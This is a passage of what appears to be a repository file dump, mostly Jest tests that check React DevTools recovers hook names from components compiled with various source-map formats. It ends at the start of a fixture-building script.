for \"${request.url}\"`);\n    });\n\n    const hookNames = await getHookNamesForComponent(Component);\n    expectHookNamesToEqual(hookNames, []); // No hooks with names\n  });\n\n  it('should skip loading source files for unnamed hooks like useEffect (alternate)', async () => {\n    const Component =\n      require('./__source__/__untransformed__/ComponentWithExternalUseEffect').Component;\n\n    fetchMock.mockIf(/.+$/, request => {\n      // Since the custom hook contains only unnamed hooks, the source code should not be loaded.\n      if (request.url.endsWith('useCustom.js')) {\n        throw Error(`Unexpected file request for \"${request.url}\"`);\n      }\n      return requireText(request.url, 'utf8');\n    });\n\n    const hookNames = await getHookNamesForComponent(Component);\n    expectHookNamesToEqual(hookNames, ['count', null]); // No hooks with names\n  });\n\n  it('should parse names for custom hooks', async () => {\n    const Component =\n      require('./__source__/__untransformed__/ComponentWithNamedCustomHooks').Component;\n    const hookNames = await getHookNamesForComponent(Component);\n    expectHookNamesToEqual(hookNames, [\n      'foo',\n      null, // Custom hooks can have names, but not when using destructuring.\n      'baz',\n    ]);\n  });\n\n  it('should parse names for code using hooks indirectly', async () => {\n    const Component =\n      require('./__source__/__untransformed__/ComponentUsingHooksIndirectly').Component;\n    const hookNames = await getHookNamesForComponent(Component);\n    expectHookNamesToEqual(hookNames, ['count', 'darkMode', 'isDarkMode']);\n  });\n\n  it('should parse names for code using nested hooks', async () => {\n    const Component =\n      require('./__source__/__untransformed__/ComponentWithNestedHooks').Component;\n    let InnerComponent;\n    const hookNames = await getHookNamesForComponent(Component, {\n      callback: innerComponent => {\n        InnerComponent = innerComponent;\n      },\n    });\n    const innerHookNames = await getHookNamesForComponent(InnerComponent);\n    expectHookNamesToEqual(hookNames, ['InnerComponent']);\n    expectHookNamesToEqual(innerHookNames, ['state']);\n  });\n\n  it('should return null for custom hooks without explicit names', async () => {\n    const Component =\n      require('./__source__/__untransformed__/ComponentWithUnnamedCustomHooks').Component;\n    const hookNames = await getHookNamesForComponent(Component);\n    expectHookNamesToEqual(hookNames, [\n      null, // Custom hooks can have names, but this one does not even return a value.\n      null, // Custom hooks can have names, but not when using destructuring.\n      null, // Custom hooks can have names, but not when using destructuring.\n    ]);\n  });\n\n  // TODO Test that cache purge works\n\n  // TODO Test that cached metadata is purged when Fast Refresh scheduled\n\n  describe('inline, external and bundle source maps', () => {\n    it('should work for simple components', async () => {\n      async function testFor(path, name = 'Component') {\n        const Component = require(path)[name];\n        const hookNames = await getHookNamesForComponent(Component);\n        expectHookNamesToEqual(hookNames, [\n          'count', // useState\n        ]);\n      }\n\n      await testFor('./__source__/Example'); // original source (uncompiled)\n      await testFor('./__source__/__compiled__/inline/Example'); // inline source map\n      await testFor('./__source__/__compiled__/external/Example'); // external source map\n      await testFor('./__source__/__compiled__/inline/index-map/Example'); // inline index map source map\n      await testFor('./__source__/__compiled__/external/index-map/Example'); // external index map source map\n      await testFor('./__source__/__compiled__/bundle/index', 'Example'); // bundle source map\n      await testFor('./__source__/__compiled__/no-columns/Example'); // simulated Webpack 'cheap-module-source-map'\n    });\n\n    it('should work with more complex files and components', async () => {\n      async function testFor(path, name = undefined) {\n        const components = name != null ? require(path)[name] : require(path);\n\n        let hookNames = await getHookNamesForComponent(components.List);\n        expectHookNamesToEqual(hookNames, [\n          'newItemText', // useState\n          'items', // useState\n          'uid', // useState\n          'handleClick', // useCallback\n          'handleKeyPress', // useCallback\n          'handleChange', // useCallback\n          'removeItem', // useCallback\n          'toggleItem', // useCallback\n        ]);\n\n        hookNames = await getHookNamesForComponent(components.ListItem, {\n          item: {},\n        });\n        expectHookNamesToEqual(hookNames, [\n          'handleDelete', // useCallback\n          'handleToggle', // useCallback\n        ]);\n      }\n\n      await testFor('./__source__/ToDoList'); // original source (uncompiled)\n      await testFor('./__source__/__compiled__/inline/ToDoList'); // inline source map\n      await testFor('./__source__/__compiled__/external/ToDoList'); // external source map\n      await testFor('./__source__/__compiled__/inline/index-map/ToDoList'); // inline index map source map\n      await testFor('./__source__/__compiled__/external/index-map/ToDoList'); // external index map source map\n      await testFor('./__source__/__compiled__/bundle', 'ToDoList'); // bundle source map\n      await testFor('./__source__/__compiled__/no-columns/ToDoList'); // simulated Webpack 'cheap-module-source-map'\n    });\n\n    it('should work for custom hook', async () => {\n      async function testFor(path, name = 'Component') {\n        const Component = require(path)[name];\n        const hookNames = await getHookNamesForComponent(Component);\n        expectHookNamesToEqual(hookNames, [\n          'count', // useState()\n          'isDarkMode', // useIsDarkMode()\n          'isDarkMode', // useIsDarkMode -> useState()\n          null, // useFoo()\n        ]);\n      }\n\n      await testFor('./__source__/ComponentWithCustomHook'); // original source (uncompiled)\n      await testFor('./__source__/__compiled__/inline/ComponentWithCustomHook'); // inline source map\n      await testFor(\n        './__source__/__compiled__/external/ComponentWithCustomHook',\n      ); // external source map\n      await testFor(\n        './__source__/__compiled__/inline/index-map/ComponentWithCustomHook',\n      ); // inline index map source map\n      await testFor(\n        './__source__/__compiled__/external/index-map/ComponentWithCustomHook',\n      ); // external index map source map\n      await testFor(\n        './__source__/__compiled__/bundle',\n        'ComponentWithCustomHook',\n      ); // bundle source map\n      await testFor(\n        './__source__/__compiled__/no-columns/ComponentWithCustomHook',\n      ); // simulated Webpack 'cheap-module-source-map'\n    });\n\n    it('should work when code is using hooks indirectly', async () => {\n      async function testFor(path, name = 'Component') {\n        const Component = require(path)[name];\n        const hookNames = await getHookNamesForComponent(Component);\n        expectHookNamesToEqual(hookNames, [\n          'count', // useState()\n          'darkMode', // useDarkMode()\n          'isDarkMode', // useState()\n        ]);\n      }\n\n      await testFor(\n        './__source__/__compiled__/inline/ComponentUsingHooksIndirectly',\n      ); // inline source map\n      await testFor(\n        './__source__/__compiled__/external/ComponentUsingHooksIndirectly',\n      ); // external source map\n      await testFor(\n        './__source__/__compiled__/inline/index-map/ComponentUsingHooksIndirectly',\n      ); // inline index map source map\n      await testFor(\n        './__source__/__compiled__/external/index-map/ComponentUsingHooksIndirectly',\n      ); // external index map source map\n      await testFor(\n        './__source__/__compiled__/bundle',\n        'ComponentUsingHooksIndirectly',\n      ); // bundle source map\n      await testFor(\n        './__source__/__compiled__/no-columns/ComponentUsingHooksIndirectly',\n      ); // simulated Webpack 'cheap-module-source-map'\n    });\n\n    it('should work when code is using nested hooks', async () => {\n      async function testFor(path, name = 'Component') {\n        const Component = require(path)[name];\n        let InnerComponent;\n        const hookNames = await getHookNamesForComponent(Component, {\n          callback: innerComponent => {\n            InnerComponent = innerComponent;\n          },\n        });\n        const innerHookNames = await getHookNamesForComponent(InnerComponent);\n        expectHookNamesToEqual(hookNames, [\n          'InnerComponent', // useMemo()\n        ]);\n        expectHookNamesToEqual(innerHookNames, [\n          'state', // useState()\n        ]);\n      }\n\n      await testFor(\n        './__source__/__compiled__/inline/ComponentWithNestedHooks',\n      ); // inline source map\n      await testFor(\n        './__source__/__compiled__/external/ComponentWithNestedHooks',\n      ); // external source map\n      await testFor(\n        './__source__/__compiled__/inline/index-map/ComponentWithNestedHooks',\n      ); // inline index map source map\n      await testFor(\n        './__source__/__compiled__/external/index-map/ComponentWithNestedHooks',\n      ); // external index map source map\n      await testFor(\n        './__source__/__compiled__/bundle',\n        'ComponentWithNestedHooks',\n      ); // bundle source map\n      await testFor(\n        './__source__/__compiled__/no-columns/ComponentWithNestedHooks',\n      ); // simulated Webpack 'cheap-module-source-map'\n    });\n\n    it('should work for external hooks', async () => {\n      async function testFor(path, name = 'Component') {\n        const Component = require(path)[name];\n        const hookNames = await getHookNamesForComponent(Component);\n        expectHookNamesToEqual(hookNames, [\n          'theme', // useTheme()\n          'theme', // useContext()\n        ]);\n      }\n\n      // We can't test the uncompiled source here, because it either needs to get transformed,\n      // which would break the source mapping, or the import statements will fail.\n\n      await testFor(\n        './__source__/__compiled__/inline/ComponentWithExternalCustomHooks',\n      ); // inline source map\n      await testFor(\n        './__source__/__compiled__/external/ComponentWithExternalCustomHooks',\n      ); // external source map\n      await testFor(\n        './__source__/__compiled__/inline/index-map/ComponentWithExternalCustomHooks',\n      ); // inline index map source map\n      await testFor(\n        './__source__/__compiled__/external/index-map/ComponentWithExternalCustomHooks',\n      ); // external index map source map\n      await testFor(\n        './__source__/__compiled__/bundle',\n        'ComponentWithExternalCustomHooks',\n      ); // bundle source map\n      await testFor(\n        './__source__/__compiled__/no-columns/ComponentWithExternalCustomHooks',\n      ); // simulated Webpack 'cheap-module-source-map'\n    });\n\n    it('should work when multiple hooks are on a line', async () => {\n      async function testFor(path, name = 'Component') {\n        const Component = require(path)[name];\n        const hookNames = await getHookNamesForComponent(Component);\n        expectHookNamesToEqual(hookNames, [\n          'a', // useContext()\n          'b', // useContext()\n          'c', // useContext()\n          'd', // useContext()\n        ]);\n      }\n\n      await testFor(\n        './__source__/__compiled__/inline/ComponentWithMultipleHooksPerLine',\n      ); // inline source map\n      await testFor(\n        './__source__/__compiled__/external/ComponentWithMultipleHooksPerLine',\n      ); // external source map\n      await testFor(\n        './__source__/__compiled__/inline/index-map/ComponentWithMultipleHooksPerLine',\n      ); // inline index map source map\n      await testFor(\n        './__source__/__compiled__/external/index-map/ComponentWithMultipleHooksPerLine',\n      ); // external index map source map\n      await testFor(\n        './__source__/__compiled__/bundle',\n        'ComponentWithMultipleHooksPerLine',\n      ); // bundle source map\n\n      async function noColumntest(path, name = 'Component') {\n        const Component = require(path)[name];\n        const hookNames = await getHookNamesForComponent(Component);\n        expectHookNamesToEqual(hookNames, [\n          'a', // useContext()\n          'b', // useContext()\n          null, // useContext()\n          null, // useContext()\n        ]);\n      }\n\n      // Note that this test is expected to only match the first two hooks\n      // because the 3rd and 4th hook are on the same line,\n      // and this type of source map doesn't have column numbers.\n      await noColumntest(\n        './__source__/__compiled__/no-columns/ComponentWithMultipleHooksPerLine',\n      ); // simulated Webpack 'cheap-module-source-map'\n    });\n\n    // TODO Inline require (e.g. require(\"react\").useState()) isn't supported yet.\n    // Maybe this isn't an important use case to support,\n    // since inline requires are most likely to exist in compiled source (if at all).\n    // eslint-disable-next-line jest/no-disabled-tests\n    it.skip('should work for inline requires', async () => {\n      async function testFor(path, name = 'Component') {\n        const Component = require(path)[name];\n        const hookNames = await getHookNamesForComponent(Component);\n        expectHookNamesToEqual(hookNames, [\n          'count', // useState()\n        ]);\n      }\n\n      await testFor('./__source__/InlineRequire'); // original source (uncompiled)\n      await testFor('./__source__/__compiled__/inline/InlineRequire'); // inline source map\n      await testFor('./__source__/__compiled__/external/InlineRequire'); // external source map\n      await testFor('./__source__/__compiled__/inline/index-map/InlineRequire'); // inline index map source map\n      await testFor(\n        './__source__/__compiled__/external/index-map/InlineRequire',\n      ); // external index map source map\n      await testFor('./__source__/__compiled__/bundle', 'InlineRequire'); // bundle source map\n      await testFor('./__source__/__compiled__/no-columns/InlineRequire'); // simulated Webpack 'cheap-module-source-map'\n    });\n\n    it('should support sources that contain the string \"sourceMappingURL=\"', async () => {\n      async function testFor(path, name = 'Component') {\n        const Component = require(path)[name];\n        const hookNames = await getHookNamesForComponent(Component);\n        expectHookNamesToEqual(hookNames, [\n          'count', // useState()\n        ]);\n      }\n\n      // We expect the inline sourceMappingURL to be invalid in this case; mute the warning.\n      console.warn = () => {};\n\n      await testFor('./__source__/ContainingStringSourceMappingURL'); // original source (uncompiled)\n      await testFor(\n        './__source__/__compiled__/inline/ContainingStringSourceMappingURL',\n      ); // inline source map\n      await testFor(\n        './__source__/__compiled__/external/ContainingStringSourceMappingURL',\n      ); // external source map\n      await testFor(\n        './__source__/__compiled__/inline/index-map/ContainingStringSourceMappingURL',\n      ); // inline index map source map\n      await testFor(\n        './__source__/__compiled__/external/index-map/ContainingStringSourceMappingURL',\n      ); // external index map source map\n      await testFor(\n        './__source__/__compiled__/bundle',\n        'ContainingStringSourceMappingURL',\n      ); // bundle source map\n      await testFor(\n        './__source__/__compiled__/no-columns/ContainingStringSourceMappingURL',\n      ); // simulated Webpack 'cheap-module-source-map'\n    });\n  });\n\n  describe('extended source maps', () => {\n    beforeEach(() => {\n      const babelParser = require('@babel/parser');\n      const generateHookMapModule = require('../generateHookMap');\n      jest.spyOn(babelParser, 'parse');\n      jest.spyOn(generateHookMapModule, 'decodeHookMap');\n    });\n\n    it('should work for simple components', async () => {\n      async function testFor(path, name = 'Component') {\n        const Component = require(path)[name];\n        const hookNames = await getHookNamesForComponent(Component);\n        expectHookNamesToEqual(hookNames, [\n          'count', // useState\n        ]);\n        expect(require('@babel/parser').parse).toHaveBeenCalledTimes(0);\n        expect(require('../generateHookMap').decodeHookMap).toHaveBeenCalled();\n      }\n\n      await testFor(\n        './__source__/__compiled__/inline/fb-sources-extended/Example',\n      ); // x_facebook_sources extended inline source map\n      await testFor(\n        './__source__/__compiled__/external/fb-sources-extended/Example',\n      ); // x_facebook_sources extended external source map\n      await testFor(\n        './__source__/__compiled__/inline/react-sources-extended/Example',\n      ); // x_react_sources extended inline source map\n      await testFor(\n        './__source__/__compiled__/external/react-sources-extended/Example',\n      ); // x_react_sources extended external source map\n\n      // Using index map format for source maps\n      await testFor(\n        './__source__/__compiled__/inline/fb-sources-extended/index-map/Example',\n      ); // x_facebook_sources extended inline index map source map\n      await testFor(\n        './__source__/__compiled__/external/fb-sources-extended/index-map/Example',\n      ); // x_facebook_sources extended external index map source map\n      await testFor(\n        './__source__/__compiled__/inline/react-sources-extended/index-map/Example',\n      ); // x_react_sources extended inline index map source map\n      await testFor(\n        './__source__/__compiled__/external/react-sources-extended/index-map/Example',\n      ); // x_react_sources extended external index map source map\n\n      // TODO test no-columns and bundle cases with extended source maps\n    });\n\n    it('should work with more complex files and components', async () => {\n      async function testFor(path, name = undefined) {\n        const components = name != null ? require(path)[name] : require(path);\n\n        let hookNames = await getHookNamesForComponent(components.List);\n        expectHookNamesToEqual(hookNames, [\n          'newItemText', // useState\n          'items', // useState\n          'uid', // useState\n          'handleClick', // useCallback\n          'handleKeyPress', // useCallback\n          'handleChange', // useCallback\n          'removeItem', // useCallback\n          'toggleItem', // useCallback\n        ]);\n\n        hookNames = await getHookNamesForComponent(components.ListItem, {\n          item: {},\n        });\n        expectHookNamesToEqual(hookNames, [\n          'handleDelete', // useCallback\n          'handleToggle', // useCallback\n        ]);\n\n        expect(require('@babel/parser').parse).toHaveBeenCalledTimes(0);\n        expect(require('../generateHookMap').decodeHookMap).toHaveBeenCalled();\n      }\n\n      await testFor(\n        './__source__/__compiled__/inline/fb-sources-extended/ToDoList',\n      ); // x_facebook_sources extended inline source map\n      await testFor(\n        './__source__/__compiled__/external/fb-sources-extended/ToDoList',\n      ); // x_facebook_sources extended external source map\n      await testFor(\n        './__source__/__compiled__/inline/react-sources-extended/ToDoList',\n      ); // x_react_sources extended inline source map\n      await testFor(\n        './__source__/__compiled__/external/react-sources-extended/ToDoList',\n      ); // x_react_sources extended external source map\n\n      // Using index map format for source maps\n      await testFor(\n        './__source__/__compiled__/inline/fb-sources-extended/index-map/ToDoList',\n      ); // x_facebook_sources extended inline index map source map\n      await testFor(\n        './__source__/__compiled__/external/fb-sources-extended/index-map/ToDoList',\n      ); // x_facebook_sources extended external index map source map\n      await testFor(\n        './__source__/__compiled__/inline/react-sources-extended/index-map/ToDoList',\n      ); // x_react_sources extended inline index map source map\n      await testFor(\n        './__source__/__compiled__/external/react-sources-extended/index-map/ToDoList',\n      ); // x_react_sources extended external index map source map\n\n      // TODO test no-columns and bundle cases with extended source maps\n    });\n\n    it('should work for custom hook', async () => {\n      async function testFor(path, name = 'Component') {\n        const Component = require(path)[name];\n        const hookNames = await getHookNamesForComponent(Component);\n        expectHookNamesToEqual(hookNames, [\n          'count', // useState()\n          'isDarkMode', // useIsDarkMode()\n          'isDarkMode', // useIsDarkMode -> useState()\n          null, // isFoo()\n        ]);\n        expect(require('@babel/parser').parse).toHaveBeenCalledTimes(0);\n        expect(require('../generateHookMap').decodeHookMap).toHaveBeenCalled();\n      }\n\n      await testFor(\n        './__source__/__compiled__/inline/fb-sources-extended/ComponentWithCustomHook',\n      ); // x_facebook_sources extended inline source map\n      await testFor(\n        './__source__/__compiled__/external/fb-sources-extended/ComponentWithCustomHook',\n      ); // x_facebook_sources extended external source map\n      await testFor(\n        './__source__/__compiled__/inline/react-sources-extended/ComponentWithCustomHook',\n      ); // x_react_sources extended inline source map\n      await testFor(\n        './__source__/__compiled__/external/react-sources-extended/ComponentWithCustomHook',\n      ); // x_react_sources extended external source map\n\n      // Using index map format for source maps\n      await testFor(\n        './__source__/__compiled__/inline/fb-sources-extended/index-map/ComponentWithCustomHook',\n      ); // x_facebook_sources extended inline index map source map\n      await testFor(\n        './__source__/__compiled__/external/fb-sources-extended/index-map/ComponentWithCustomHook',\n      ); // x_facebook_sources extended external index map source map\n      await testFor(\n        './__source__/__compiled__/inline/react-sources-extended/index-map/ComponentWithCustomHook',\n      ); // x_react_sources extended inline index map source map\n      await testFor(\n        './__source__/__compiled__/external/react-sources-extended/index-map/ComponentWithCustomHook',\n      ); // x_react_sources extended external index map source map\n\n      // TODO test no-columns and bundle cases with extended source maps\n    });\n\n    it('should work when code is using hooks indirectly', async () => {\n      async function testFor(path, name = 'Component') {\n        const Component = require(path)[name];\n        const hookNames = await getHookNamesForComponent(Component);\n        expectHookNamesToEqual(hookNames, [\n          'count', // useState()\n          'darkMode', // useDarkMode()\n          'isDarkMode', // useState()\n        ]);\n        expect(require('@babel/parser').parse).toHaveBeenCalledTimes(0);\n        expect(require('../generateHookMap').decodeHookMap).toHaveBeenCalled();\n      }\n\n      await testFor(\n        './__source__/__compiled__/inline/fb-sources-extended/ComponentUsingHooksIndirectly',\n      ); // x_facebook_sources extended inline source map\n      await testFor(\n        './__source__/__compiled__/external/fb-sources-extended/ComponentUsingHooksIndirectly',\n      ); // x_facebook_sources extended external source map\n      await testFor(\n        './__source__/__compiled__/inline/react-sources-extended/ComponentUsingHooksIndirectly',\n      ); // x_react_sources extended inline source map\n      await testFor(\n        './__source__/__compiled__/external/react-sources-extended/ComponentUsingHooksIndirectly',\n      ); // x_react_sources extended external source map\n\n      // Using index map format for source maps\n      await testFor(\n        './__source__/__compiled__/inline/fb-sources-extended/index-map/ComponentUsingHooksIndirectly',\n      ); // x_facebook_sources extended inline index map source map\n      await testFor(\n        './__source__/__compiled__/external/fb-sources-extended/index-map/ComponentUsingHooksIndirectly',\n      ); // x_facebook_sources extended external index map source map\n      await testFor(\n        './__source__/__compiled__/inline/react-sources-extended/index-map/ComponentUsingHooksIndirectly',\n      ); // x_react_sources extended inline index map source map\n      await testFor(\n        './__source__/__compiled__/external/react-sources-extended/index-map/ComponentUsingHooksIndirectly',\n      ); // x_react_sources extended external index map source map\n\n      // TODO test no-columns and bundle cases with extended source maps\n    });\n\n    it('should work when code is using nested hooks', async () => {\n      async function testFor(path, name = 'Component') {\n        const Component = require(path)[name];\n        let InnerComponent;\n        const hookNames = await getHookNamesForComponent(Component, {\n          callback: innerComponent => {\n            InnerComponent = innerComponent;\n          },\n        });\n        const innerHookNames = await getHookNamesForComponent(InnerComponent);\n        expectHookNamesToEqual(hookNames, [\n          'InnerComponent', // useMemo()\n        ]);\n        expectHookNamesToEqual(innerHookNames, [\n          'state', // useState()\n        ]);\n        expect(require('@babel/parser').parse).toHaveBeenCalledTimes(0);\n        expect(require('../generateHookMap').decodeHookMap).toHaveBeenCalled();\n      }\n\n      await testFor(\n        './__source__/__compiled__/inline/fb-sources-extended/ComponentWithNestedHooks',\n      ); // x_facebook_sources extended inline source map\n      await testFor(\n        './__source__/__compiled__/external/fb-sources-extended/ComponentWithNestedHooks',\n      ); // x_facebook_sources extended external source map\n      await testFor(\n        './__source__/__compiled__/inline/react-sources-extended/ComponentWithNestedHooks',\n      ); // x_react_sources extended inline source map\n      await testFor(\n        './__source__/__compiled__/external/react-sources-extended/ComponentWithNestedHooks',\n      ); // x_react_sources extended external source map\n\n      // Using index map format for source maps\n      await testFor(\n        './__source__/__compiled__/inline/fb-sources-extended/index-map/ComponentWithNestedHooks',\n      ); // x_facebook_sources extended inline index map source map\n      await testFor(\n        './__source__/__compiled__/external/fb-sources-extended/index-map/ComponentWithNestedHooks',\n      ); // x_facebook_sources extended external index map source map\n      await testFor(\n        './__source__/__compiled__/inline/react-sources-extended/index-map/ComponentWithNestedHooks',\n      ); // x_react_sources extended inline index map source map\n      await testFor(\n        './__source__/__compiled__/external/react-sources-extended/index-map/ComponentWithNestedHooks',\n      ); // x_react_sources extended external index map source map\n\n      // TODO test no-columns and bundle cases with extended source maps\n    });\n\n    it('should work for external hooks', async () => {\n      async function testFor(path, name = 'Component') {\n        const Component = require(path)[name];\n        const hookNames = await getHookNamesForComponent(Component);\n        expectHookNamesToEqual(hookNames, [\n          'theme', // useTheme()\n          'theme', // useContext()\n        ]);\n        expect(require('@babel/parser').parse).toHaveBeenCalledTimes(0);\n        expect(require('../generateHookMap').decodeHookMap).toHaveBeenCalled();\n      }\n\n      // We can't test the uncompiled source here, because it either needs to get transformed,\n      // which would break the source mapping, or the import statements will fail.\n\n      await testFor(\n        './__source__/__compiled__/inline/fb-sources-extended/ComponentWithExternalCustomHooks',\n      ); // x_facebook_sources extended inline source map\n      await testFor(\n        './__source__/__compiled__/external/fb-sources-extended/ComponentWithExternalCustomHooks',\n      ); // x_facebook_sources extended external source map\n      await testFor(\n        './__source__/__compiled__/inline/react-sources-extended/ComponentWithExternalCustomHooks',\n      ); // x_react_sources extended inline source map\n      await testFor(\n        './__source__/__compiled__/external/react-sources-extended/ComponentWithExternalCustomHooks',\n      ); // x_react_sources extended external source map\n\n      // Using index map format for source maps\n      await testFor(\n        './__source__/__compiled__/inline/fb-sources-extended/index-map/ComponentWithExternalCustomHooks',\n      ); // x_facebook_sources extended inline index map source map\n      await testFor(\n        './__source__/__compiled__/external/fb-sources-extended/index-map/ComponentWithExternalCustomHooks',\n      ); // x_facebook_sources extended external index map source map\n      await testFor(\n        './__source__/__compiled__/inline/react-sources-extended/index-map/ComponentWithExternalCustomHooks',\n      ); // x_react_sources extended inline index map source map\n      await testFor(\n        './__source__/__compiled__/external/react-sources-extended/index-map/ComponentWithExternalCustomHooks',\n      ); // x_react_sources extended external index map source map\n\n      // TODO test no-columns and bundle cases with extended source maps\n    });\n\n    it('should work when multiple hooks are on a line', async () => {\n      async function testFor(path, name = 'Component') {\n        const Component = require(path)[name];\n        const hookNames = await getHookNamesForComponent(Component);\n        expectHookNamesToEqual(hookNames, [\n          'a', // useContext()\n          'b', // useContext()\n          'c', // useContext()\n          'd', // useContext()\n        ]);\n        expect(require('@babel/parser').parse).toHaveBeenCalledTimes(0);\n        expect(require('../generateHookMap').decodeHookMap).toHaveBeenCalled();\n      }\n\n      await testFor(\n        './__source__/__compiled__/inline/fb-sources-extended/ComponentWithMultipleHooksPerLine',\n      ); // x_facebook_sources extended inline source map\n      await testFor(\n        './__source__/__compiled__/external/fb-sources-extended/ComponentWithMultipleHooksPerLine',\n      ); // x_facebook_sources extended external source map\n      await testFor(\n        './__source__/__compiled__/inline/react-sources-extended/ComponentWithMultipleHooksPerLine',\n      ); // x_react_sources extended inline source map\n      await testFor(\n        './__source__/__compiled__/external/react-sources-extended/ComponentWithMultipleHooksPerLine',\n      ); // x_react_sources extended external source map\n\n      // Using index map format for source maps\n      await testFor(\n        './__source__/__compiled__/inline/fb-sources-extended/index-map/ComponentWithMultipleHooksPerLine',\n      ); // x_facebook_sources extended inline index map source map\n      await testFor(\n        './__source__/__compiled__/external/fb-sources-extended/index-map/ComponentWithMultipleHooksPerLine',\n      ); // x_facebook_sources extended external index map source map\n      await testFor(\n        './__source__/__compiled__/inline/react-sources-extended/index-map/ComponentWithMultipleHooksPerLine',\n      ); // x_react_sources extended inline index map source map\n      await testFor(\n        './__source__/__compiled__/external/react-sources-extended/index-map/ComponentWithMultipleHooksPerLine',\n      ); // x_react_sources extended external index map source map\n\n      // TODO test no-columns and bundle cases with extended source maps\n    });\n\n    // TODO Inline require (e.g. require(\"react\").useState()) isn't supported yet.\n    // Maybe this isn't an important use case to support,\n    // since inline requires are most likely to exist in compiled source (if at all).\n    // eslint-disable-next-line jest/no-disabled-tests\n    it.skip('should work for inline requires', async () => {\n      async function testFor(path, name = 'Component') {\n        const Component = require(path)[name];\n        const hookNames = await getHookNamesForComponent(Component);\n        expectHookNamesToEqual(hookNames, [\n          'count', // useState()\n        ]);\n        expect(require('@babel/parser').parse).toHaveBeenCalledTimes(0);\n        expect(require('../generateHookMap').decodeHookMap).toHaveBeenCalled();\n      }\n\n      await testFor(\n        './__source__/__compiled__/inline/fb-sources-extended/InlineRequire',\n      ); // x_facebook_sources extended inline source map\n      await testFor(\n        './__source__/__compiled__/external/fb-sources-extended/InlineRequire',\n      ); // x_facebook_sources extended external source map\n      await testFor(\n        './__source__/__compiled__/inline/react-sources-extended/InlineRequire',\n      ); // x_react_sources extended inline source map\n      await testFor(\n        './__source__/__compiled__/external/react-sources-extended/InlineRequire',\n      ); // x_react_sources extended external source map\n\n      // Using index map format for source maps\n      await testFor(\n        './__source__/__compiled__/inline/fb-sources-extended/index-map/InlineRequire',\n      ); // x_facebook_sources extended inline index map source map\n      await testFor(\n        './__source__/__compiled__/external/fb-sources-extended/index-map/InlineRequire',\n      ); // x_facebook_sources extended external index map source map\n      await testFor(\n        './__source__/__compiled__/inline/react-sources-extended/index-map/InlineRequire',\n      ); // x_react_sources extended inline index map source map\n      await testFor(\n        './__source__/__compiled__/external/react-sources-extended/index-map/InlineRequire',\n      ); // x_react_sources extended external index map source map\n\n      // TODO test no-columns and bundle cases with extended source maps\n    });\n\n    it('should support sources that contain the string \"sourceMappingURL=\"', async () => {\n      async function testFor(path, name = 'Component') {\n        const Component = require(path)[name];\n        const hookNames = await getHookNamesForComponent(Component);\n        expectHookNamesToEqual(hookNames, [\n          'count', // useState()\n        ]);\n        expect(require('@babel/parser').parse).toHaveBeenCalledTimes(0);\n        expect(require('../generateHookMap').decodeHookMap).toHaveBeenCalled();\n      }\n\n      // We expect the inline sourceMappingURL to be invalid in this case; mute the warning.\n      console.warn = () => {};\n\n      await testFor(\n        './__source__/__compiled__/inline/fb-sources-extended/ContainingStringSourceMappingURL',\n      ); // x_facebook_sources extended inline source map\n      await testFor(\n        './__source__/__compiled__/external/fb-sources-extended/ContainingStringSourceMappingURL',\n      ); // x_facebook_sources extended external source map\n      await testFor(\n        './__source__/__compiled__/inline/react-sources-extended/ContainingStringSourceMappingURL',\n      ); // x_react_sources extended inline source map\n      await testFor(\n        './__source__/__compiled__/external/react-sources-extended/ContainingStringSourceMappingURL',\n      ); // x_react_sources extended external source map\n\n      // Using index map format for source maps\n      await testFor(\n        './__source__/__compiled__/inline/fb-sources-extended/index-map/ContainingStringSourceMappingURL',\n      ); // x_facebook_sources extended inline index map source map\n      await testFor(\n        './__source__/__compiled__/external/fb-sources-extended/index-map/ContainingStringSourceMappingURL',\n      ); // x_facebook_sources extended external index map source map\n      await testFor(\n        './__source__/__compiled__/inline/react-sources-extended/index-map/ContainingStringSourceMappingURL',\n      ); // x_react_sources extended inline index map source map\n      await testFor(\n        './__source__/__compiled__/external/react-sources-extended/index-map/ContainingStringSourceMappingURL',\n      ); // x_react_sources extended external index map source map\n\n      // TODO test no-columns and bundle cases with extended source maps\n    });\n  });\n});\n\ndescribe('parseHookNames worker', () => {\n  let inspectHooks;\n  let parseHookNames;\n  let workerizedParseSourceAndMetadataMock;\n\n  beforeEach(() => {\n    window.Worker = undefined;\n\n    workerizedParseSourceAndMetadataMock = jest.fn();\n\n    initFetchMock();\n\n    jest.mock('../parseHookNames/parseSourceAndMetadata.worker.js', () => {\n      return {\n        __esModule: true,\n        default: () => ({\n          parseSourceAndMetadata: workerizedParseSourceAndMetadataMock,\n        }),\n      };\n    });\n\n    inspectHooks =\n      require('react-debug-tools/src/ReactDebugHooks').inspectHooks;\n    parseHookNames = require('../parseHookNames').parseHookNames;\n  });\n\n  async function getHookNamesForComponent(Component, props = {}) {\n    const hooksTree = inspectHooks(Component, props, undefined);\n    const hookNames = await parseHookNames(hooksTree);\n    return hookNames;\n  }\n\n  it('should use worker', async () => {\n    const Component =\n      require('./__source__/__untransformed__/ComponentWithUseState').Component;\n\n    window.Worker = true;\n\n    // Reset module so mocked worker instance can be updated.\n    jest.resetModules();\n    parseHookNames = require('../parseHookNames').parseHookNames;\n\n    await getHookNamesForComponent(Component);\n    expect(workerizedParseSourceAndMetadataMock).toHaveBeenCalledTimes(1);\n  });\n});\n"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/updateMockSourceMaps.js",
    "content": "const {transformSync} = require('@babel/core');\nconst {btoa} = require('base64');\nconst {\n  lstatSync,\n  mkdirSync,\n  readdirSync,\n  readFileSync,\n  writeFileSync,\n} = require('fs');\nconst {emptyDirSync} = require('fs-extra');\nconst {resolve} = require('path');\nconst rollup = require('rollup');\nconst babel = require('@rollup/plugin-babel').babel;\nconst commonjs = require('@rollup/plugin-commonjs');\nconst jsx = require('acorn-jsx');\nconst rollupResolve = require('@rollup/plugin-node-resolve').nodeResolve;\nconst {encode, decode} = require('@jridgewell/sourcemap-codec');\nconst {generateEncodedHookMap} = require('../generateHookMap');\nconst {parse} = require('@babel/parser');\n\nconst sourceDir = resolve(__dirname, '__source__');\nconst buildRoot = resolve(sourceDir, '__compiled__');\nconst externalDir = resolve(buildRoot, 'external');\nconst inlineDir = resolve(buildRoot, 'inline');\nconst bundleDir = resolve(buildRoot, 'bundle');\nconst noColumnsDir = resolve(buildRoot, 'no-columns');\nconst inlineIndexMapDir = resolve(inlineDir, 'index-map');\nconst externalIndexMapDir = resolve(externalDir, 'index-map');\nconst inlineFbSourcesExtendedDir = resolve(inlineDir, 'fb-sources-extended');\nconst externalFbSourcesExtendedDir = resolve(\n  externalDir,\n  'fb-sources-extended',\n);\nconst 